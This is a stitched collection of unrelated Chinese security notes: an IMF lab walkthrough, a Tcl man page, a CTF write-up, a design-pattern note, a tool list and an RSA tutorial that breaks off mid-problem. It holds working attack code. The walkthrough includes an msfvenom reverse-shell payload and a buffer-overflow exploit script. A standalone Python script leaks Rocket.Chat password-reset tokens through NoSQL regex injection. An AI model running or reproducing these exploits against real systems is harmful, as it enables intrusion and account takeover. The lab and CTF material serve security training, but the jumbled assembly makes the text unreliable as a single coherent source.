/root/.weevely/sessions/192.168.32.175/edb0327e464d_0.session [+] Browse the filesystem or execute commands starts the connection [+] to the target. Type :help for more information. weevely> ls edb0327e464d.gif flag5_abc123def.txt www-data@imf:/var/www/html/imfadministrator/uploads $ ``` 查看flag5 ``` www-data@imf:/var/www/html/imfadministrator/uploads $ cat flag5_abc123def.txt flag5{YWdlbnRzZXJ2aWNlcw==} ``` ``` ┌──(root💀kali)-[~/Desktop] └─# echo 'YWdlbnRzZXJ2aWNlcw==' | base64 -d agentservices ``` 找到agent服务 ``` www-data@imf:/var/www/html/imfadministrator/uploads $ find / -name "agent" &>/dev/null /usr/local/bin/agent /etc/xinetd.d/agent ``` 运行agent ``` www-data@imf:/var/www/html/imfadministrator/uploads $ /usr/local/bin/agent ___ __ __ ___ |_ _| \/ | __| Agent | || |\/| | _| Reporting |___|_| |_|_| System Agent ID : ``` 在agent目录找到一串端口列表 ``` www-data@imf:/var/www/html/imfadministrator/uploads $ cd /usr/local/bin www-data@imf:/usr/local/bin $ ls access_codes agent www-data@imf:/usr/local/bin $ cat acc* SYN 7482,8279,9467 www-data@imf:/usr/local/bin $ ``` 端口敲门 ``` ┌──(root💀kali)-[~/Desktop] └─# knock 192.168.32.175 7482 8279 9467 ``` 我们可以看到端口 7788 也打开了 ``` ┌──(root💀kali)-[~/Desktop] └─# nmap -p1-65535 192.168.32.175 Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-18 05:56 EDT Stats: 0:00:44 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan SYN Stealth Scan Timing: About 31.63% done; ETC: 05:58 (0:01:33 remaining) Nmap scan report for 192.168.32.175 Host is up (0.00028s latency). Not shown: 65533 filtered tcp ports (no-response) PORT STATE SERVICE 80/tcp open http 7788/tcp open unknown MAC Address: 00:0C:29:69:7C:06 (VMware) Nmap done: 1 IP address (1 host up) scanned in 105.20 seconds ``` 下载agent ``` weevely> file_download /usr/local/bin/agent /tmp/agent ``` 输入ID,会提示无效ID ![image-20220719095127297](../../.gitbook/assets/image-20220719095127297.png) 追踪找到有效ID:`48093572` ![image-20220719095105501](../../.gitbook/assets/image-20220719095105501.png) 输入正确的ID,会显示菜单 ![image-20220719095231843](../../.gitbook/assets/image-20220719095231843.png) 创建1000个字符 ``` ┌──(root💀kali)-[~] └─# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B ``` 缓冲区溢出 ![image-20220719095514747](../../.gitbook/assets/image-20220719095514747.png) ``` ──(root💀kali)-[/tmp] └─# gdb ./agent GNU gdb (Debian 10.1-2+b1) 10.1.90.20210103-git Copyright (C) 2021 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <https://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from ./agent... (No debugging symbols found in ./agent) (gdb) run Starting program: /tmp/agent ___ __ __ ___ |_ _| \/ | __| Agent | || |\/| | _| Reporting |___|_| |_|_| System Agent ID : 48093572 Login Validated Main Menu: 1. Extraction Points 2. Request Extraction 3. Submit Report 0. Exit Enter selection: 3 ``` ![image-20220719100138707](../../.gitbook/assets/image-20220719100138707.png) 发现特定值的确切偏移量:**41366641** 现在我们创建了具有相同值的模式 ``` ┌──(root💀kali)-[~] └─# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 41366641 [*] Exact match at offset 168 ``` 使用 msfvenom 我创建了一个反向 shell 并删除了坏字符("`\x00\x0a\xod`")。 ``` ┌──(root💀kali)-[~] └─# msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.32.130 LPORT=9999 -f python -b "\x00\x0a\xod" 2 ⨯ [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch: x86 from the payload Found 11 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 95 (iteration=0) x86/shikata_ga_nai chosen with final size 95 Payload size: 95 bytes Final size of python file: 479 bytes buf = b"" buf += b"\xba\xd3\xd4\x17\x4e\xdb\xd0\xd9\x74\x24\xf4\x5f\x33" buf += b"\xc9\xb1\x12\x31\x57\x12\x83\xc7\x04\x03\x84\xda\xf5" buf += b"\xbb\x1b\x38\x0e\xa0\x08\xfd\xa2\x4d\xac\x88\xa4\x22" buf += b"\xd6\x47\xa6\xd0\x4f\xe8\x98\x1b\xef\x41\x9e\x5a\x87" buf += b"\x91\xc8\xbd\xd5\x7a\x0b\xbe\xfe\x75\x82\x5f\xb0\xec" buf += b"\xc4\xce\xe3\x43\xe7\x79\xe2\x69\x68\x2b\x8c\x1f\x46" buf += b"\xbf\x24\x88\xb7\x10\xd6\x21\x41\x8d\x44\xe1\xd8\xb3" buf += b"\xd8\x0e\x16\xb3" ``` EXP脚本 ``` ┌──(root💀kali)-[~] └─# cat agentsploit.py #!/usr/bin/python import time, struct, sys import socket as so #Command used for Linux Payload.. replace with your IP - msfvenom -p linux/x86/shell/reverse_tcp LPORT=4444 LHOST=192.168.56.102 -b "\x00\x0a\x0d" -f py buf = b"" buf += b"\xba\xd3\xd4\x17\x4e\xdb\xd0\xd9\x74\x24\xf4\x5f\x33" buf += b"\xc9\xb1\x12\x31\x57\x12\x83\xc7\x04\x03\x84\xda\xf5" buf += b"\xbb\x1b\x38\x0e\xa0\x08\xfd\xa2\x4d\xac\x88\xa4\x22" buf += b"\xd6\x47\xa6\xd0\x4f\xe8\x98\x1b\xef\x41\x9e\x5a\x87" buf += b"\x91\xc8\xbd\xd5\x7a\x0b\xbe\xfe\x75\x82\x5f\xb0\xec" buf += b"\xc4\xce\xe3\x43\xe7\x79\xe2\x69\x68\x2b\x8c\x1f\x46" buf += b"\xbf\x24\x88\xb7\x10\xd6\x21\x41\x8d\x44\xe1\xd8\xb3" buf += b"\xd8\x0e\x16\xb3" #CALL EAX address is 8048563 buf += "A" * (168 - len(buf)) buf +="\x63\x85\x04\x08\n" try: server = str(sys.argv[1]) port = int(sys.argv[2]) except IndexError: print "[+] Usage example: python %s 192.168.56.103 7788" % sys.argv[0] sys.exit() #Automatically connects to agent binary, enters the Agent ID number, and sends malicious payload using option 3. s = so.socket(so.AF_INET, so.SOCK_STREAM) print "\n[+] Attempting to send buffer overflow to agent...." try: s.connect((server,port)) s.recv(1024) s.send("48093572\n") s.recv(1024) s.send("3\n") s.send(buf) s.recv(1024) print "\n[+] Completed." except: print "[+] Unable to connect to agent over port 7788. Check your IP address and port. Make sure 7788 is really open." sys.exit() try: server = str(sys.argv[1]) port = int(sys.argv[2]) except IndexError: print "[+] Usage example: python %s 192.168.56.103 7788" % sys.argv[0] sys.exit() #Automatically connects to agent binary, enters the Agent ID number, and sends malicious payload using option 3. s = so.socket(so.AF_INET, so.SOCK_STREAM) print "\n[+] Attempting to send buffer overflow to agent...." try: s.connect((server,port)) s.recv(1024) s.send("48093572\n") s.recv(1024) s.send("3\n") s.send(buf) s.recv(1024) print "\n[+] Completed." except: print "[+] Unable to connect to agent over port 7788. Check your IP address and port. Make sure 7788 is really open." sys.exit() ``` 连接到靶场7788 ``` ┌──(root💀kali)-[~] └─# python agentsploit.py 192.168.32.175 7788 [+] Attempting to send buffer overflow to agent.... [+] Completed. [+] Attempting to send buffer overflow to agent.... [+] Completed. ``` ![image-20230208150021370](../../.gitbook/assets/image-20230208150021370.png)
sec-knowleage
'\" '\" Copyright (c) 1993 The Regents of the University of California. '\" Copyright (c) 1994-1997 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: history.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbName gives '\" the option's name in the option database, and dbClass gives '\" the option's class in the option database. '\" '\" .UL arg1 arg2 '\" Print arg1 underlined, then print arg2 normally. '\" '\" RCS: @(#) $Id: history.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages. .if t .wh -1.3i ^B .nr ^l \n(.l .ad b '\" # Start an argument description .de AP .ie !"\\$4"" .TP \\$4 .el \{\ . ie !"\\$2"" .TP \\n()Cu . el .TP 15 .\} .ta \\n()Au \\n()Bu .ie !"\\$3"" \{\ \&\\$1 \\fI\\$2\\fP (\\$3) .\".b .\} .el \{\ .br .ie !"\\$2"" \{\ \&\\$1 \\fI\\$2\\fP .\} .el \{\ \&\\fI\\$1\\fP .\} .\} .. '\" # define tabbing values for .AP .de AS .nr )A 10n .if !"\\$1"" .nr )A \\w'\\$1'u+3n .nr )B \\n()Au+15n .\" .if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n .nr )C \\n()Bu+\\w'(in/out)'u+2n .. .AS Tcl_Interp Tcl_CreateInterp in/out '\" # BS - start boxed text '\" # ^y = starting y location '\" # ^b = 1 .de BS .br .mk ^y .nr ^b 1u .if n .nf .if n .ti 0 .if n \l'\\n(.lu\(ul' .if n .fi .. '\" # BE - end boxed text (draw box now) .de BE .nf .ti 0 .mk ^t .ie n \l'\\n(^lu\(ul' .el \{\ .\" Draw four-sided box normally, but don't draw top of .\" box if the box started on an earlier page. .ie !\\n(^b-1 \{\ \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .el \}\ \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .\} .fi .br .nr ^b 0 .. '\" # VS - start vertical sidebar '\" # ^Y = starting y location '\" # ^v = 1 (for troff; for nroff this doesn't matter) .de VS .if !"\\$2"" .br .mk ^Y .ie n 'mc \s12\(br\s0 .el .nr ^v 1u .. '\" # VE - end of vertical sidebar .de VE .ie n 'mc .el \{\ .ev 2 .nf .ti 0 .mk ^t \h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n' .sp -1 .fi .ev .\} .nr ^v 0 .. '\" # Special macro to handle page bottom: finish off current '\" # box/sidebar if in box/sidebar mode, then invoked standard '\" # page bottom macro. .de ^B .ev 2 'ti 0 'nf .mk ^t .if \\n(^b \{\ .\" Draw three-sided box if this is the box's first page, .\" draw two sides but no top otherwise. .ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .\} .if \\n(^v \{\ .nr ^x \\n(^tu+1v-\\n(^Yu \kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c .\} .bp 'fi .ev .if \\n(^b \{\ .mk ^y .nr ^b 2 .\} .if \\n(^v \{\ .mk ^Y .\} .. '\" # DS - begin display .de DS .RS .nf .sp .. '\" # DE - end display .de DE .fi .RE .sp .. '\" # SO - start of list of standard options .de SO .SH "STANDARD OPTIONS" .LP .nf .ta 5.5c 11c .ft B .. '\" # SE - end of list of standard options .de SE .fi .ft R .LP See the \\fBoptions\\fR manual entry for details on the standard options. .. '\" # OP - start of full description for a single option .de OP .LP .nf .ta 4c Command-Line Name: \\fB\\$1\\fR Database Name: \\fB\\$2\\fR Database Class: \\fB\\$3\\fR .fi .IP .. '\" # CS - begin code excerpt .de CS .RS .nf .ta .25i .5i .75i 1i .. '\" # CE - end code excerpt .de CE .fi .RE .. .de UL \\$1\l'|0\(ul'\\$2 .. .TH history 3tcl "" Tcl "Tcl Built-In Commands" .BS '\" Note: do not modify the .SH NAME line immediately below! .SH NAME history \- 操纵历史列表 .SH 总览 SYNOPSIS \fBhistory \fR?\fIoption\fR? ?\fIarg arg ...\fR? .BE .SH 描述 DESCRIPTION .PP \fBhistory\fR 命令完成与记录在一个历史列表中的最近执行过的命令有关的一些操作中的一个。每个记录的命令被作为一个“事件”来参照。使用下列形式给 \fBhistory\fR 命令指定的一个事件: .IP [1] 一个数: 如果是正数,它用这个数来参照事件(所有事件多被从 1 开始计数)。如果是负数,它选择相对当前事件的一个事件(\fB\-1\fR 参照上一个事件,\fB\-2\fR 参照大上一个,以此类推)。事件 \fB0\fP 参照当前事件。 .IP [2] 一个字符串: 选择匹配这个字符串的最新近的事件。在两种情况下一个事件被考虑为匹配这个字符串,要么这个字符串与这个命令的最前面的字符相同,要么这个字符串以与 \fBstring match\fR 命令相同的方式匹配这个事件。 .PP \fBhistory\fR 命令接受所有下列形式: .TP \fBhistory\fR 同于下面描述的 \fBhistory info\fR。 .TP \fBhistory add\fI command \fR?\fBexec\fR? 把 \fIcommand\fR 参数作为一个新事件添加到历史列表中。如果指定了 \fBexec\fR(或其缩写) 则还执行这个命令并返回它的结果。如果没有指定 \fBexec\fR 则返回一个空串作为结果。 .TP \fBhistory change\fI newValue\fR ?\fIevent\fR? 把给一个事件记录的值替代(replace)为 \fInewValue\fR。 \fIEvent\fR 指定要替代的事件,缺省为当前 (\fIcurrent\fR) 事件(不是事件 \fB\-1\fR)。这个命令用在实现新形式的历史替换(substitution)的命令中,和用在想用通过替换建立的命令替代当前事件(调用这个替换的事件)的命令中。 返回值是一个空串。 .TP \fBhistory clear\fR 删除历史列表。保持当前保留限制。重置历史事件数。 .TP \fBhistory event\fR ?\fIevent\fR? 返回由 \fIevent\fR 给出的事件的值。 \fIEvent\fR 缺省为 \fB\-1\fR。 .TP \fBhistory info \fR?\fIcount\fR? 返回一个格式化了字符串(用于人们阅读),它给出在历史列表中除了当前事件之外的每个事件的事件号和内容。如果指定了 \fIcount\fR,则只返回新近的 \fIcount\fR 个事件。 .TP \fBhistory keep \fR?\fIcount\fR? 使用这个命令来变更历史列表的大小为 \fIcount\fR 个事件。最初,在历史列表中保留 20 个事件。如果未指定 \fIcount\fR ,则返回当前的保留限制。 .TP \fBhistory nextid\fR 返回要记录在历史记录中的下一个事件的号码。这对象在命令行提示符下输出事件号这样的事有用。 .TP \fBhistory redo \fR?\fIevent\fR? 重新执行由 \fIevent\fR 指示的命令并返回它的结果。\fIEvent\fR 缺省为 \fB\-1\fR。这个命令导致历史修订: 详情见下面的段落。 .SH "历史修订 HISTORY REVISION" .PP 8.0 之前 的 Tcl 有一个复杂的历史修订机制。当前的机制受到了更多的限制,并且去除了老的历史操作 \fBsubstitute\fP 和 \fBwords\fP 。(作为安慰,添加了 \fBclear\fP 操作。) .PP 历史选项 \fBredo\fR 导致非常简单的“历史修订”。在调用这个选项的时候,修改最新近的事件来淘汰历史命令(的记录)并用历史命令的结果替换它。如果你打算重做一个事件而不修改历史列表,则使用 \fBevent\fP 操作来检索某些事件,并使用 \fBadd\fP 操作来向历史列表添加它并执行它。 .SH 关键字 KEYWORDS event, history, record .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2001/09/03 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
# Fireplace (reverse, ppc, 763p) > As it is in love and war, all is fair during the elections, especially when it comes to an opportunity to get rid of a candidate who is three points ahead of you. Your secret agent in this candidate’s campaign office informed you of some secret documents which prove that your rival is guilty of bribery. Unfortunately, one of his assistants noticed these documents and threw it into the fireplace before leaving the office, but your agent managed to damp down the fire and grab the pieces. Restore the document and help you candidate to win! > fireplace.tar In this task we were given a binary and a random-looking BMP picture. The binary accepted a single command line argument - filename. When given any BMP picture, it would encrypt it somehow and overwrite the original picture. Reverse engineering the binary showed it generates an internal square picture using Windows standard `rand` function for pixel values. The input image, when interpreted as a matrix of 24-bit RGB values is then multiplied (as in matrix multiplication) with that square image and saved as the output. All operations are done modulo `2**24`. So, we get the following equation: `Input * Square = Output`. Since we know the Output matrix (it's the random-looking BMP) and Square (Windows `rand` is deterministic - LCG), we can multiply both sides of the equation by modular inverse of Square matrix to get: `Input = Output * modinv(Square)`. We implemented this in mixture of Python and Sage and retrieved the original image.
sec-knowleage
## 模板方法(Template Method) ### Intent 定义算法框架,并将一些步骤的实现延迟到子类。 通过模板方法,子类可以重新定义算法的某些步骤,而不用改变算法的结构。 ### Class Diagram <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/ac6a794b-68c0-486c-902f-8d988eee5766.png"/> </div><br> ### Implementation 冲咖啡和冲茶都有类似的流程,但是某些步骤会有点不一样,要求复用那些相同步骤的代码。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/11236498-1417-46ce-a1b0-e10054256955.png"/> </div><br> ```java public abstract class CaffeineBeverage { final void prepareRecipe() { boilWater(); brew(); pourInCup(); addCondiments(); } abstract void brew(); abstract void addCondiments(); void boilWater() { System.out.println("boilWater"); } void pourInCup() { System.out.println("pourInCup"); } } ``` ```java public class Coffee extends CaffeineBeverage { @Override void brew() { System.out.println("Coffee.brew"); } @Override void addCondiments() { System.out.println("Coffee.addCondiments"); } } ``` ```java public class Tea extends CaffeineBeverage { @Override void brew() { System.out.println("Tea.brew"); } @Override void addCondiments() { System.out.println("Tea.addCondiments"); } } ``` ```java public class Client { public static void main(String[] args) { CaffeineBeverage caffeineBeverage = new Coffee(); caffeineBeverage.prepareRecipe(); System.out.println("-----------"); caffeineBeverage = new Tea(); caffeineBeverage.prepareRecipe(); } } ``` ```html boilWater Coffee.brew pourInCup Coffee.addCondiments ----------- boilWater Tea.brew pourInCup Tea.addCondiments ``` ### JDK - java.util.Collections#sort() - java.io.InputStream#skip() - java.io.InputStream#read() - java.util.AbstractList#indexOf()
sec-knowleage
## 逆向工程模块 |Reverse Engineering|||||| |:-:|:-:|:-:|:-:|:-:|:-:| |[apktool](apktool.md)|dex2jar| diStorm3| edb-debugger| jad|javasnoop| |JD-GUI|OllyDbg|smali|Valgrind|YARA||
sec-knowleage
import sys import time import string import json import requests guess = '-_' + string.digits + string.ascii_letters session = requests.session() session.headers = { 'Content-Type': 'application/json', } def reset_password(target: str, email: str): payload = { 'msg': 'method', 'method': 'sendForgotPasswordEmail', 'params': [email], } session.post( f'{target}/api/v1/method.callAnon/sendForgotPasswordEmail', json={'message': json.dumps(payload)}, ) sys.stdout.write("[+] Password Reset Email Sent\n") sys.stdout.flush() def inject_token(target: str): payload = { 'msg': 'method', 'method': 'getPasswordPolicy', 'params': [ { 'token': {'$regex': '^'} } ], } for i in range(43): current = payload['params'][0]['token']['$regex'] sys.stdout.write(f'[*] Guess No.{i + 1} character: ') for ch in guess: payload['params'][0]['token']['$regex'] = current + ch response = session.post( f'{target}/api/v1/method.callAnon/getPasswordPolicy', json={'message': json.dumps(payload)}, ) if b'Meteor.Error' not in response.content: sys.stdout.write(f"\n[+] Current token is {payload['params'][0]['token']['$regex'][1:]}\n") sys.stdout.flush() break else: sys.stdout.write('.') sys.stdout.flush() time.sleep(1.5) if __name__ == '__main__': target = sys.argv[1] reset_password(target, sys.argv[2]) inject_token(target)
sec-knowleage
# RSA 介绍 RSA 加密算法是一种非对称加密算法。在公开密钥加密和电子商业中 RSA 被广泛使用。RSA 是 1977 年由罗纳德·李维斯特(Ron Rivest)、阿迪·萨莫尔(Adi Shamir)和伦纳德·阿德曼(Leonard Adleman)一起提出的。RSA 就是他们三人姓氏开头字母拼在一起组成的。 RSA 算法的可靠性由极大整数因数分解的难度决定。换言之,对一极大整数做因数分解愈困难,RSA 算法愈可靠。假如有人找到一种快速因数分解的算法的话,那么用 RSA 加密的信息的可靠性就肯定会极度下降。但找到这样的算法的可能性是非常小的。如今,只有短的 RSA 密钥才可能被强力方式解破。到 2017 年为止,还没有任何可靠的攻击 RSA 算法的方式。 ## 基本原理 ### 公钥与私钥的产生 1. 随机选择两个不同大质数 $p$ 和 $q$,计算 $N = p \times q$ 2. 根据欧拉函数,求得 $\varphi (N)=\varphi (p)\varphi (q)=(p-1)(q-1)$ 3. 选择一个小于 $\varphi (N)$ 的整数 $e$,使 $e$ 和 $\varphi (N)$ 互质。并求得 $e$ 关于 $\varphi (N)$ 的模反元素,命名为 $d$,有 $ed\equiv 1 \pmod {\varphi (N)}$ 4. 将 $p​$ 和 $q​$ 的记录销毁 此时,$(N,e)$ 是公钥,$(N,d)$ 是私钥。 ### 消息加密 首先需要将消息 以一个双方约定好的格式转化为一个小于 $N$,且与 $N$ 互质的整数 $m$。如果消息太长,可以将消息分为几段,这也就是我们所说的块加密,后对于每一部分利用如下公式加密: $$ m^{e}\equiv c\pmod N $$ ### 消息解密 利用密钥 $d​$ 进行解密。 $$ c^{d}\equiv m\pmod N $$ ### 正确性证明 即我们要证$m^{ed} \equiv m \bmod N$,已知$ed \equiv 1 \bmod \phi(N)$,那么 $ed=k\phi(N)+1$,即需要证明 $$ m^{k\phi(N)+1} \equiv m \bmod N $$ 这里我们分两种情况证明 第一种情况 $gcd(m,N)=1​$,那么 $m^{\phi(N)} \equiv 1 \bmod N​$,因此原式成立。 第二种情况 $gcd(m,N)\neq 1$,那么 $m$ 必然是 $p$ 或者 $q$ 的倍数,并且 $n=m$ 小于 $N$。我们假设 $$ m=xp $$ 那么 $x$ 必然小于 $q$,又由于 $q$ 是素数。那么 $$ m^{\phi(q)} \equiv 1 \bmod q $$ 进而 $$ m^{k\phi(N)}=m^{k(p-1)(q-1)}=(m^{\phi(q)})^{k(p-1)} \equiv 1 \bmod q $$ 那么 $$ m^{k\phi(N)+1}=m+uqm $$ 进而 $$ m^{k\phi(N)+1}=m+uqxp=m+uxN $$ 所以原式成立。 ## 基本工具 ### RSAtool - 安装 ```bash git clone https://github.com/ius/rsatool.git cd rsatool python rsatool.py -h ``` - 生成私钥 ```bash python rsatool.py -f PEM -o private.pem -p 1234567 -q 7654321 ``` ### RSA Converter - 根据给定密钥对,生成 pem 文件 - 根据 $n$,$e$,$d$ 得出 $p$,$q$ ### openssl - 查看公钥文件 ```shell openssl rsa -pubin -in pubkey.pem -text -modulus ``` - 解密 ```shell rsautl -decrypt -inkey private.pem -in flag.enc -out flag ``` 更加具体的细节请参考 `openssl --help`。 ### 分解整数工具 - 网站分解,[factor.db](http://factordb.com/) - 命令行分解,[factordb-pycli](https://github.com/ryosan-470/factordb-pycli),借用 factordb 数据库。 - [yafu](https://sourceforge.net/projects/yafu/) ### python 库 #### primefac 整数分解库,包含了很多整数分解的算法。 #### gmpy - `gmpy.root(a, b)`,返回一个元组 `(x, y)`,其中 `x` 为 `a` 开 `b` 次方的值,`y` 是判断 `x` 是否为整数的布尔型变量 #### gmpy2 安装时,可能会需要自己另行安装 mpfr 与 mpc 库。 - `gmpy2.iroot(a, b)`,类似于 `gmpy.root(a,b)` #### pycrypto - 安装 ```bash sudo pip install pycrypto ``` - 使用 ```python import gmpy from Crypto.Util.number import * from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_v1_5 msg = 'crypto here' p = getPrime(128) q = getPrime(128) n = p*q e = getPrime(64) pubkey = RSA.construct((long(n), long(e))) privatekey = RSA.construct((long(n), long(e), long(d), long(p), long(q))) key = PKCS1_v1_5.new(pubkey) enc = key.encrypt(msg).encode('base64') key = PKCS1_v1_5.new(privatekey) msg = key.decrypt(enc.decode('base64'), e) ``` ## Jarvis OJ - Basic - veryeasyRSA > p = 3487583947589437589237958723892346254777 q = 8767867843568934765983476584376578389 > > e = 65537 > > 求 d = > > 请提交 `PCTF{d}` 直接根据 $ed\equiv 1 \pmod{\varphi (N)}$,其中 $\varphi (N)=\varphi (p)\varphi (q)=(p-1)(q-1)$,可得 $d$。 ```python import gmpy2 p = 3487583947589437589237958723892346254777 q = 8767867843568934765983476584376578389 e = 65537 phin = (p - 1) * (q - 1) print gmpy2.invert(e, phin) ``` ```shell ➜ Jarvis OJ-Basic-veryeasyRSA git:(master) ✗ python exp.py 19178568796155560423675975774142829153827883709027717723363077606260717434369 ``` ## 2018 CodeGate CTF Rsababy 程序就是一个简单的 RSA,不过程序还生成了两个奇怪的数 ```python e = 65537 n = p * q pi_n = (p-1)*(q-1) d = mulinv(e, pi_n) h = (d+p)^(d-p) g = d*(p-0xdeadbeef) ``` 所以,问题应该出自这里,所以我们就从此下手,不放这里先假设 `const = 0xdeadbeef`。那么 $$ eg = ed * (p-const) $$ 进而,根据 RSA 可知 $$ 2^{eg}=2^{ed * (p-const)}=2^{p-const} \pmod n $$ $$ 2^{p-const} * 2^{const-1} = 2^{p-1} \pmod n $$ 所以 $$ 2^{p-1} = 2^{eg} * 2^{const-1}+kn $$ 而与此同时根据费马小定理,我们知道 $$ 2^{p-1} \equiv 1 \pmod p $$ 所以 $$ p|2^{p-1}-1 | 2^{eg+const-1}-1+kn $$ 进而 $$ p|2^{eg+const-1}-1 $$ 所以 $$ p|gcd(2^{eg+const-1}-1,n) $$ 因此,代码如下 ```python tmp = gmpy2.powmod(2,e*g+const-1,n)-1 p = gmpy2.gcd(tmp,n) q = n/p phin = (p-1)*(q-1) d =gmpy2.invert(e,phin) plain = gmpy2.powmod(data,d,n) print hex(plain)[2:].decode('hex') ``` ## 2018 国家安全周 pure math 题目的基本描述是这个样子的 ``` 1) p ** p % q = 1137973316343089029387365135250835133803975869258714714790597743585251681751361684698632609164883988455302237641489036138661596754239799122081528662395492 2) q ** q % p = 6901383184477756324584651464895743132603115552606852729050186289748558760692261058141015199261946483809004373728135568483701274908717004197776113227815323 3) (p ** q + q ** p) % (p*q) = 16791287391494893024031688699360885996180880807427715700800644759680986120242383930558410147341340225420991368114858791447699399702390358184412301644459406 4) (p+q) ** (p+q) % (p*q) = 